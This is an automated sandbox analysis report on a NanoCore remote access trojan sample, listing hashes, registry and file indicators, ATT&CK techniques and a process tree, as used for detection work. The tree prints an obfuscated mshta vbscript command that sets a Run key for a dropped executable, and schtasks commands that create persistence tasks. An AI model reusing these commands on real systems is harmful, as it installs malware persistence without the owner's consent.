nanocore | f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381

General

Target
f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe
Size 514KB
Sample201110-s82sd3lkps
SHA256 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381
MD5 23db42acfb11c3f5a0e73dfba7c15f81
SHA1 fc2688622c02179619111b7982b5294db763b0af
SHA512 948cfd35314ca8cc04a9f4b2413194bd7f0a0c8ccf059b72748a74959e7b8373c98bde00631867543dff3a33acb2c37d56c7d28eb2ca2c8ddbfa1fad150341bd
MD5 SHA1 SHA512

Score

10^/10

nanocore evasion keylogger persistence spyware stealer trojan

Malware Config

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Executes dropped EXE 1 IoCs

pid	Process
2924	Efterlevelsespension.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\PAPPERNE = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Efterlevelsespension.exe"	mshta.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WAN Service = "C:\\Program Files (x86)\\WAN Service\\wansv.exe"	Efterlevelsespension.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Efterlevelsespension.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\WAN Service\wansv.exe	Efterlevelsespension.exe
File opened for modification	C:\Program Files (x86)\WAN Service\wansv.exe	Efterlevelsespension.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2012	schtasks.exe
696	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
428	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe
2924	Efterlevelsespension.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2924	Efterlevelsespension.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2924	Efterlevelsespension.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe
2924	Efterlevelsespension.exe
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE
428	EXCEL.EXE

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 2612	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	76
PID 412 wrote to memory of 2612	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	76
PID 412 wrote to memory of 2612	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	76
PID 412 wrote to memory of 2924	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	77
PID 412 wrote to memory of 2924	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	77
PID 412 wrote to memory of 2924	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	77
PID 412 wrote to memory of 428	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	78
PID 412 wrote to memory of 428	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	78
PID 412 wrote to memory of 428	412	f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe	78
PID 2924 wrote to memory of 2012	2924	Efterlevelsespension.exe	79
PID 2924 wrote to memory of 2012	2924	Efterlevelsespension.exe	79
PID 2924 wrote to memory of 2012	2924	Efterlevelsespension.exe	79
PID 2924 wrote to memory of 696	2924	Efterlevelsespension.exe	81
PID 2924 wrote to memory of 696	2924	Efterlevelsespension.exe	81
PID 2924 wrote to memory of 696	2924	Efterlevelsespension.exe	81

C:\Users\Admin\AppData\Local\Temp\f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe
"C:\Users\Admin\AppData\Local\Temp\f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe"
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PAPPERNE"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\Efterlevelsespension.exe"",""REG_SZ"" : window.close")
  2⤵
  - Adds Run key to start application
  PID:2612
- C:\Users\Admin\AppData\Local\Temp\Efterlevelsespension.exe
  "C:\Users\Admin\AppData\Local\Temp\Efterlevelsespension.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks.exe" /create /f /tn "WAN Service" /xml "C:\Users\Admin\AppData\Local\Temp\tmp4BA5.tmp"
    3⤵
    - Creates scheduled task(s)
    PID:2012
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks.exe" /create /f /tn "WAN Service Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp4CA0.tmp"
    3⤵
    - Creates scheduled task(s)
    PID:696
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ZhongShan Horton Co.Ltd.xlsx"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:428